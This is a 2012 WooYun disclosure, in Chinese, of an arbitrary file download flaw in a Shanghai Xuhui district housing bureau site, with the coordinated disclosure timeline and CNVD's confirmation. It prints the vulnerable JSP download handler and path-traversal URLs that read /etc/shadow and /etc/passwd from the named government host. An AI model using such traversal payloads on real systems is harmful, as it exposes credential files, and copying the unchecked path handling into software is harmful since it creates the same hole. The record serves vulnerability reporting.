当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-010945

漏洞标题:上海市徐汇区住房保障和房屋管理局任意文件下载

相关厂商:上海市徐汇区住房保障和房屋管理局

漏洞作者: Tea

提交时间:2012-08-16 11:24

修复时间:2012-09-30 11:24

公开时间:2012-09-30 11:24

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-16: 细节已通知厂商并且等待厂商处理中
2012-08-20: 厂商已经确认,细节仅向厂商公开
2012-08-30: 细节向核心白帽子及相关领域专家公开
2012-09-09: 细节向普通白帽子公开
2012-09-19: 细节向实习白帽子公开
2012-09-30: 细节向公众公开

简要描述:

任意文件下载权限大到可以下载影子文件

详细说明:

任意文件下载权限大到可以下载影子文件

漏洞证明:

下载系统文件

<%
String realPath = request.getSession().
getServletContext().getRealPath("/");
String fileUrl = new String(request.getParameter("file").getBytes("ISO-8859-1"),"gbk");
File file = new File(fileUrl);
FileInputStream bis = new FileInputStream(realPath + "/xml/information/" + file);
String name = file.getName();
response.setCharacterEncoding("gbk");
response.setContentType("application/x-msdownload");
//String download = “this is only a test string.“;
response.setHeader(
"Content-disposition",
"attachment;filename="+toUtf8String(name));
OutputStream bos = response.getOutputStream();
byte[] buff = new byte[1024];
int readCount = 0;
int i = 0;
readCount = bis.read(buff);
while (readCount != -1){
bos.write(buff, 0, readCount);
readCount = bis.read(buff);
}
if (bis!=null)
bis.close();
if (bos!=null)
bos.close();
%>


http://fangguan.xuhui.gov.cn/download.jsp?file=/../../../../../etc/shadow
http://fangguan.xuhui.gov.cn/download.jsp?file=/../../../../../etc/passwd


下载WEB
http://fangguan.xuhui.gov.cn/download.jsp?file=../../download.jsp

修复方案:

对下载路径做必要的限制!

版权声明:转载请注明来源 Tea@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2012-08-20 22:58

厂商回复:

CNVD确认漏洞并复现所述情况,转由CNCERT上海分中心协调涉事单位处置。
按部分影响机密性、完整性进行评分,rank=6.42*1.0*1.2=7.704

最新状态:

暂无